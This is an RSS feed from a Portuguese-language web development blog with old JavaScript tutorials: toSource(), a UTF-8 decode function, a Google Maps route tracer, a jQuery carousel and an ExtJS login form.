<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; JavaScript</title>
	<atom:link href="http://marcos.blog.br/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Método toSource() do JavaScript</title>
		<link>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/</link>
		<comments>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:15:50 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=290</guid>
		<description><![CDATA[O Método toSource() do Javascript é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em mostrar como String todos os argumentos de um objeto. Para usar, basta chamar o método toSource() em um objeto: alert(objeto.toSource()) E você verá todos os argumentos da instância &#8220;objeto&#]]></description>
			<content:encoded><![CDATA[<p>O <strong>Método toSource()</strong> do <strong>Javascript</strong> é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em <strong>mostrar como String todos os argumentos de um objeto</strong>.</p>
<p>Para usar, basta chamar o método toSource() em um objeto:</p>
<pre class="brush:javascript">
alert(objeto.toSource())
</pre>
<p>E você verá todos os argumentos da instância &#8220;objeto&#8221;.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript UTF-8 Decode</title>
		<link>http://marcos.blog.br/2009/11/javascript-utf-8-decode/</link>
		<comments>http://marcos.blog.br/2009/11/javascript-utf-8-decode/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 02:03:16 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=165</guid>
		<description><![CDATA[Como o Javascript não possui nenhuma função nativa para decodificar palavras no formato UTF-8, segue uma função que pode ser muito útil por exemplo se você estiver trabalhando com Cookie que não aceita este formato]]></description>
			<content:encoded><![CDATA[<p>Como o Javascript não possui nenhuma função nativa para decodificar string no formato UTF-8, segue uma função que pode ser muito útil por exemplo se você estiver trabalhando com Cookie que não aceita este formato.</p>
<pre class="brush:javascript">
function utf8_decode ( str_data ) {
    var tmp_arr = [], i = 0, ac = 0, c1 = 0, c2 = 0, c3 = 0;
    str_data += '';
    while ( i &lt; str_data.length ) {
        c1 = str_data.charCodeAt(i);
        if (c1 &lt; 128) {
            tmp_arr[ac++] = String.fromCharCode(c1);
            i++;
        } else if ((c1 &gt; 191) &amp;amp;&amp;amp; (c1 &lt; 224)) {
            c2 = str_data.charCodeAt(i+1);
            tmp_arr[ac++] = String.fromCharCode(((c1 &amp;amp; 31) &lt;&lt; 6) | (c2 &amp;amp; 63));
            i += 2;
        } else {
            c2 = str_data.charCodeAt(i+1);
            c3 = str_data.charCodeAt(i+2);
            tmp_arr[ac++] = String.fromCharCode(((c1 &amp;amp; 15) &lt;&lt; 12) | ((c2 &amp;amp; 63) &lt;&lt; 6) | (c3 &amp;amp; 63));
            i += 3;
        }
    }
    return tmp_arr.join('');
}
</pre>
<p>Esta função foi feita com base na função utf8_decode do PHP.</p>
<p>Retirado do site: <a  href="http://phpjs.org/functions/utf8_decode:576" target="_blank">PHPJS.org</a></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/11/javascript-utf-8-decode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Traçando Rota com a API do Google Maps</title>
		<link>http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/</link>
		<comments>http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 12:59:59 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Usabilidade]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=131</guid>
		<description><![CDATA[Um recurso bem interessante do Google Maps é poder traçar rotas a partir de um endereço ou CEP de algum para se chegar a algum lugar. Neste exemplo vamos usar um destino fixo e solicitar ao usuário o endereço de partida. Antes de mais nada, precisamos adquirir a chave API do Google Maps digitando a ]]></description>
			<content:encoded><![CDATA[<p><img class="size-thumbnail wp-image-132 alignleft" style="margin-left: 6px; margin-right: 6px; margin-top: 0px; margin-bottom: 0px;" title="maps" src="http://marcos.blog.br/wp-content/uploads/2009/10/maps2-150x150.jpg" alt="maps" width="150" height="150" />Um recurso bem interessante do <strong>Google Map</strong>s é poder <strong>traçar rotas</strong> a partir de um endereço ou CEP de algum para se chegar a algum lugar.</p>
<p>Neste exemplo vamos usar um destino fixo e solicitar ao usuário o endereço de partida.</p>
<p>Antes de mais nada, precisamos adquirir a <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_self">chave API do Google Maps</a> digitando a URL em que sua página será hospedada (você consegue gerar chave para http://localhost também).</p>
<p>De posse da chave, vamos criar uma página HTML simples e incluir a API do google maps já com a nossa chave:<br />
<br/></p>
<pre>
&lt;script type=&quot;text/javascript&quot; src=http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=sua-chave&quot;&gt;&lt;/script&gt;
</pre>
<p><br/><br />
Agora vamos ao JavaScript com as funções necessárias para carregar o mapa e traçar a rota:<br />
<br/></p>
<pre>
<pre class="brush:javascript">
			// declaração de variáveis
			var map;
			var marker;

			// função que carrega o mapa inicial marcando o nosso ponto de chegada
			function load() {
				// verifica a compatibilidade do google maps
			  if (GBrowserIsCompatible()) {

				// Instancia o objeto e aplica na div 'mapa'
				map = new GMap2(document.getElementById("mapa"));
				// Especifica as coordenadas do centro do mapa e o zoom
				map.setCenter(new GLatLng(-20.339884,-40.287469), 14);
				// Especifica o div em que será exibido o detalhamento da rota
				directionsPanel = document.getElementById("route");
				gdir = new GDirections(map, directionsPanel);
				// Adiciona o evento de erros a função handleErrors
				GEvent.addListener(gdir, "error", handleErrors);

				//Adiciona barra de zoom e setas para movimentação no mapa
				map.addControl(new GSmallMapControl());

				//Adiciona um marcador nas coordenadas de chegada
				var point = new GLatLng(-20.339884, -40.287469);
				marker = new GMarker(point);
				map.addOverlay(marker);
				marker.title = "Shopping Vitória";

			  }
			}

			// Traça a Rota
			function setDirections(fromAddress, toAddress, locale){
				gdir.load("from: " + fromAddress + " to: " + toAddress,{"locale": "pt_BR"});
				// Remove o marcador inicial
				map.removeOverlay(marker);
			}

			// Especifica a origem e o destino
			function tracarRota() {
				setDirections(document.getElementById('from').value, "Fernando Ferrari, 514, Goiabeiras, Vitória, ES");
			}

			// Função com tratamentos de erros
			function handleErrors()
			{
			   if (gdir.getStatus().code == G_GEO_UNKNOWN_ADDRESS)
				 alert("Não foi possível achar o endereço. Isso pode ter ocorrido porque o endereço digitado ainda não está inserido no googlemaps ou porque foi digitado incorretamente.\nCódigo do Erro: " + gdir.getStatus().code);
			   else if (gdir.getStatus().code == G_GEO_SERVER_ERROR)
				 alert("A geocoding or directions request could not be successfully processed, yet the exact reason for the failure is not known.\n Código do Erro: " + gdir.getStatus().code);
			   else if (gdir.getStatus().code == G_GEO_MISSING_QUERY)
				 alert("The HTTP q parameter was either missing or had no value. For geocoder requests, this means that an empty address was specified as input. For directions requests, this means that no query was specified in the input.\n Código do Erro: " + gdir.getStatus().code);
			   else if (gdir.getStatus().code == G_GEO_BAD_KEY)
				 alert("Key inválida. Procure a key correta para este domínio no site do google. \n Código do Erro: " + gdir.getStatus().code);
			   else if (gdir.getStatus().code == G_GEO_BAD_REQUEST)
				 alert("A directions request could not be successfully parsed.\n Código do Erro: " + gdir.getStatus().code);
			   else alert("Ocorreu um erro inesperado.");
			}
</pre>
</pre>
<p><br/><br />
Lembrando que na Tag &#8220;Body&#8221; é necessários chamarmos a função Load() para carregar o mapa inicial com nosso ponto de chegada marcado:</p>
<p>Para finalizar, o nosso formulário HTML deverá chamar a função tracarRota() como no código abaixo:</p>
<pre class="brush:html">
<form method="get" action="#" onsubmit="tracarRota(); return false;">
<div>
					<label for="from">Endereço de partida:</label> 
<input type="text" id="from" name="endereco" value="Carioca, 353 - Vila Velha - ES - 29100450" class="endereco" />
<input type="submit" value="Achar Caminho" class="enviar" />
				</div>
</form>
</pre>
<p><a  href="http://marcos.blog.br/exemplos/tracando-rota-com-google-maps.html" target="_blank">Confira o exemplo funciona</a>l</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Carrossel com Jquery</title>
		<link>http://marcos.blog.br/2009/09/carrossel-com-jquery/</link>
		<comments>http://marcos.blog.br/2009/09/carrossel-com-jquery/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 04:05:45 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=55</guid>
		<description><![CDATA[Existe Plugins para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&#60;li&#62;) de forma mais bacana no site da Interwise. No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que ]]></description>
			<content:encoded><![CDATA[<p>Existe <a  href="http://plugins.jquery.com/" target="_blank">Plugins</a> para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&lt;li&gt;) de forma mais bacana no site da <a  href="http://interwise.com.br" target="_blank">Interwise</a>.</p>
<p>No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que eram mais genéricos, eram grandes, de difícil personalização.</p>
<p>Perdi tanto tempo testando que nem me lembrei de como é fácil fazer as coisas com jQuery. Foi aí que resolvi escrever um código simples que resolvesse o meu problema.</p>
<p>E a seguir está o código. Simples, fácil de personalizar e que resolveu a situação.</p>
<pre class="brush:javascript">
var tamCarrosel = ($("#carroselEfeito li").length-1);

$('#carrosel_proximo').click(function() {
	if(i == 0)
		$('#seta_esquerda a').css({'backgroundPosition':'0 0'});
	if(i < tamCarrosel){
		$('#carroselEfeito li').eq(i).animate({ left : "-"+700}, function() {
			$('#carroselEfeito li').eq(i+1).css({ left: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i+1).animate({left: "-"+0});
			i++;
			if(i == tamCarrosel)
				$('#seta_direita a').css({'backgroundPosition':'0 75px'});
		});
	}
});
$('#carrosel_anterior').click(function(){
	if(i == tamCarrosel)
		$('#seta_direita a').css({'backgroundPosition':'0 0'});
	if(0 < tamCarrosel &#038;&#038; i>0){
		$('#carroselEfeito li').eq(i).animate({left : "+"+700}, function(){
			$('#carroselEfeito li').eq(i-1).css({right: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i-1).animate({left: "-"+0});
			i--;
			if(i == 0)
				$('#seta_esquerda a').css({'backgroundPosition':'0 75px'});
		});
	}
});
</pre>
<p>E o HTML, mais simples ainda:</p>
<pre class="brush:html">
<code>
<div id="carrosel">
<div class="centro">
<div id="seta_esquerda"><a id="carrosel_anterior" href="javascript:void(0)"></a></div>
<div id="conteudo_carrosel">
<ul id="carroselEfeito">
<li>ítem 01</li>
<li>ítem 02</li>
<li>ítem n</li>
</ul></div>
<div id="seta_direita"><a id="carrosel_proximo" href="javascript:void(0)"></a></div>
</div>
</div>

</code>
</pre>
<p>Vou sempre postar os plugins mais interessantes que já testei para que outros economizem o tempo que já gastei pesquisando sobre. Obviamente que algumas cada caso é um caso. <img src='http://marcos.blog.br/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/carrossel-com-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sistema de Autenticação com ExtJS</title>
		<link>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/</link>
		<comments>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 03:33:34 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=49</guid>
		<description><![CDATA[Vamos construir um sistema simples de autenticação utilizando o ExtJS. Feito o Download, vamos iniciar nosso sistema carregando a biblioteca do ExtJS para montarmos o nosso sistema de login]]></description>
			<content:encoded><![CDATA[<p>Vamos construir um sistema simples de autenticação utilizando o <a  href="http://www.extjs.com" target="_blank">ExtJS</a>. Feito o <a  href="http://www.extjs.com/products/extjs/download.php" target="_blank">Download</a>, vamos iniciar nosso sistema carregando a biblioteca do ExtJS para montarmos o nosso sistema de login. Nosso ponto de partida é o arquivo Index.php com a estrutura HTML a seguir:</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Index.php</span></h3>
<pre style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; border: 1px dashed #2f6fab;"><span style="color: #00bbdd;">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;</span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;html&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;head&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;link</span> <span style="color: #000066;">rel</span>=<span style="color: #ff0000;">"stylesheet"</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/css"</span> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"/igs/includes/ext/resources/css/ext-all.css"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"/igs/includes/ext/adapter/ext/ext-base.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"/igs/includes/ext/ext-all.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;script</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"login.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/head&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;body&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/body&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/html&gt;</span></span></pre>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Obviamente, modifique os path de acordo com seu diretório EXT. Veremos o código do Login.js a seguir</div>
<p>Obviamente, modifique os paths de acordo com seu diretório EXT. Veremos o código do Login.js a seguir</p>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
<h3 style="margin-top: 7px; margin-right: 0px; margin-bottom: 7px; margin-left: 0px; padding-top: 0.5em; padding-right: 0px; padding-bottom: 0.17em; padding-left: 0px; font-size: 18px; font-family: verdana, arial, sans-serif; color: #385f95; font-weight: normal; background-image: none; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; border-bottom-style: none; border-bottom-width: initial; border-bottom-color: initial; letter-spacing: -1px; background-position: initial initial; "><span class="mw-headline">Login.js<br />
<span style="color: #555555; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; letter-spacing: normal; font-size: 12px; "> </span></span></h3>
<p>A seguir vem o login.js. Ele cria o formulário, renderiza uma janela popup, exibe a janela ao usuário, submete os dados via AJAX, e lida com o sucesso e o fracasso de resposta dependendo se o usuário inseriu os dados com sucesso.</p>
<pre class="source source-javascript" style="margin-top: 0px; margin-right: 15px; margin-bottom: 10px; margin-left: 15px; padding-top: 1em; padding-right: 1.5em; padding-bottom: 1em; padding-left: 1.5em; line-height: normal; font-size: 12px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #2f6fab; border-right-color: #2f6fab; border-bottom-color: #2f6fab; border-left-color: #2f6fab; color: #3f747f; background-color: #f9f9f9; overflow-x: auto; overflow-y: hidden; ">Ext.<span class="me1" style="color: #006600; ">onReady</span><span class="br0" style="color: #66cc66; ">(</span><span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
    Ext.<span class="me1" style="color: #006600; ">QuickTips</span>.<span class="me1" style="color: #006600; ">init</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;

	<span class="co1" style="color: #009900; font-style: italic; ">// Crie uma variável para armazenar nosso EXT Form Panel </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// Assinamos várias opções de configuração	 </span>
    <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> login = <span class="kw2" style="color: #003366; font-weight: bold; ">new</span> Ext.<span class="me1" style="color: #006600; ">FormPanel</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
        labelWidth:<span class="nu0" style="color: #cc0000; ">80</span>,
        url:<span class="st0" style="color: #3366cc; ">'login.asp'</span>,
        frame:<span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
        title:<span class="st0" style="color: #3366cc; ">'Entre com seu Login'</span>,
        defaultType:<span class="st0" style="color: #3366cc; ">'textfield'</span>,
	monitorValid:<span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
	<span class="co1" style="color: #009900; font-style: italic; ">// Atributos específicos para os campos de usuário/senha. </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// O atributo "name" define o nome da variável que será enviada do servidor.</span>
        items:<span class="br0" style="color: #66cc66; ">[</span><span class="br0" style="color: #66cc66; ">{</span>
                fieldLabel:<span class="st0" style="color: #3366cc; ">'Usuário'</span>,
                <span class="kw3" style="color: #000066; ">name</span>:<span class="st0" style="color: #3366cc; ">'loginUsername'</span>,
                allowBlank:<span class="kw2" style="color: #003366; font-weight: bold; ">false</span>
            <span class="br0" style="color: #66cc66; ">}</span>,<span class="br0" style="color: #66cc66; ">{</span>
                fieldLabel:<span class="st0" style="color: #3366cc; ">'Senha'</span>,
                <span class="kw3" style="color: #000066; ">name</span>:<span class="st0" style="color: #3366cc; ">'loginPassword'</span>,
                inputType:<span class="st0" style="color: #3366cc; ">'password'</span>,
                allowBlank:<span class="kw2" style="color: #003366; font-weight: bold; ">false</span>
            <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">]</span>,

	<span class="co1" style="color: #009900; font-style: italic; ">// Toda a mágica que acontece depois que o usuário clique no botão     </span>
        buttons:<span class="br0" style="color: #66cc66; ">[</span><span class="br0" style="color: #66cc66; ">{</span>
                text:<span class="st0" style="color: #3366cc; ">'Login'</span>,
                formBind: <span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
                <span class="co1" style="color: #009900; font-style: italic; ">// Função que é executada quando o usuário clicar no botão </span>
                handler:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                    login.<span class="me1" style="color: #006600; ">getForm</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>.<span class="me1" style="color: #006600; ">submit</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
                        method:<span class="st0" style="color: #3366cc; ">'POST'</span>,
                        waitTitle:<span class="st0" style="color: #3366cc; ">'Conectando'</span>,
                        waitMsg:<span class="st0" style="color: #3366cc; ">'Enviando dados...'</span>,

			<span class="co1" style="color: #009900; font-style: italic; ">// Função que executa (sucesso ou falha) quando o servidor responder. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// A que será executada é determinada pela </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// responsta que virá do login.asp como mostrado abaixo. O servidor responde </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// um JSON válido. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Algo como: response.write "{ success: true}" ou</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// responde.write "{ success: false, errors: { reason: 'Falha no Login. Tente novamente.' }}" </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// dependendo da lógica que contiver no código de retorno do servidor.</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Se o sucesso ocorrer, o usuário será notificado com uma mensagem de alerta messagebox, </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// e quando ele clicar em "Ok", então será redirecionado a qualquer página</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// que você tenha definido para redirecionamento. </span>

                        success:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                        	Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Status'</span>, <span class="st0" style="color: #3366cc; ">'Login Successful!'</span>, <span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span>btn, text<span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
				   <span class="kw1" style="color: #000066; font-weight: bold; ">if</span> <span class="br0" style="color: #66cc66; ">(</span>btn == <span class="st0" style="color: #3366cc; ">'ok'</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
		                        <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> redirect = <span class="st0" style="color: #3366cc; ">'test.php'</span>;
		                        window.<span class="me1" style="color: #006600; ">location</span> = redirect;
                                   <span class="br0" style="color: #66cc66; ">}</span>
			        <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
                        <span class="br0" style="color: #66cc66; ">}</span>,

			<span class="co1" style="color: #009900; font-style: italic; ">// Função de falha, veja comentário sobre re: sucesso e falha. </span>
			<span class="co1" style="color: #009900; font-style: italic; ">// Você poderá ver aqui, se o login falhar, chama uma messagebox</span>
			<span class="co1" style="color: #009900; font-style: italic; ">// com detalhes da falha  </span>

                        failure:<span class="kw2" style="color: #003366; font-weight: bold; ">function</span><span class="br0" style="color: #66cc66; ">(</span>form, action<span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                            <span class="kw1" style="color: #000066; font-weight: bold; ">if</span><span class="br0" style="color: #66cc66; ">(</span>action.<span class="me1" style="color: #006600; ">failureType</span> == <span class="st0" style="color: #3366cc; ">'server'</span><span class="br0" style="color: #66cc66; ">)</span><span class="br0" style="color: #66cc66; ">{</span>
                                obj = Ext.<span class="me1" style="color: #006600; ">util</span>.<span class="me1" style="color: #006600; ">JSON</span>.<span class="me1" style="color: #006600; ">decode</span><span class="br0" style="color: #66cc66; ">(</span>action.<span class="me1" style="color: #006600; ">response</span>.<span class="me1" style="color: #006600; ">responseText</span><span class="br0" style="color: #66cc66; ">)</span>;
                                Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Login Failed!'</span>, obj.<span class="me1" style="color: #006600; ">errors</span>.<span class="me1" style="color: #006600; ">reason</span><span class="br0" style="color: #66cc66; ">)</span>;
                            <span class="br0" style="color: #66cc66; ">}</span><span class="kw1" style="color: #000066; font-weight: bold; ">else</span><span class="br0" style="color: #66cc66; ">{</span>
                                Ext.<span class="me1" style="color: #006600; ">Msg</span>.<span class="kw3" style="color: #000066; ">alert</span><span class="br0" style="color: #66cc66; ">(</span><span class="st0" style="color: #3366cc; ">'Warning!'</span>, <span class="st0" style="color: #3366cc; ">'Authentication server is unreachable : '</span> + action.<span class="me1" style="color: #006600; ">response</span>.<span class="me1" style="color: #006600; ">responseText</span><span class="br0" style="color: #66cc66; ">)</span>;
                            <span class="br0" style="color: #66cc66; ">}</span>
                            login.<span class="me1" style="color: #006600; ">getForm</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>.<span class="me1" style="color: #006600; ">reset</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;
                        <span class="br0" style="color: #66cc66; ">}</span>
                    <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
                <span class="br0" style="color: #66cc66; ">}</span>
            <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">]</span>
    <span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;

	<span class="co1" style="color: #009900; font-style: italic; ">// Aqui é criado uma janela para agregar o formulário. </span>
	<span class="co1" style="color: #009900; font-style: italic; ">// O objeto login é passado como ítem desta janela.       </span>
    <span class="kw2" style="color: #003366; font-weight: bold; ">var</span> win = <span class="kw2" style="color: #003366; font-weight: bold; ">new</span> Ext.<span class="me1" style="color: #006600; ">Window</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">{</span>
        layout:<span class="st0" style="color: #3366cc; ">'fit'</span>,
        width:<span class="nu0" style="color: #cc0000; ">300</span>,
        height:<span class="nu0" style="color: #cc0000; ">150</span>,
        closable: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        resizable: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        plain: <span class="kw2" style="color: #003366; font-weight: bold; ">true</span>,
        border: <span class="kw2" style="color: #003366; font-weight: bold; ">false</span>,
        items: <span class="br0" style="color: #66cc66; ">[</span>login<span class="br0" style="color: #66cc66; ">]</span>
	<span class="br0" style="color: #66cc66; ">}</span><span class="br0" style="color: #66cc66; ">)</span>;
	win.<span class="me1" style="color: #006600; ">show</span><span class="br0" style="color: #66cc66; ">(</span><span class="br0" style="color: #66cc66; ">)</span>;
});</pre>
<p><span style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; line-height: 18px; font-size: 12px; color: #555555; "> </span></p>
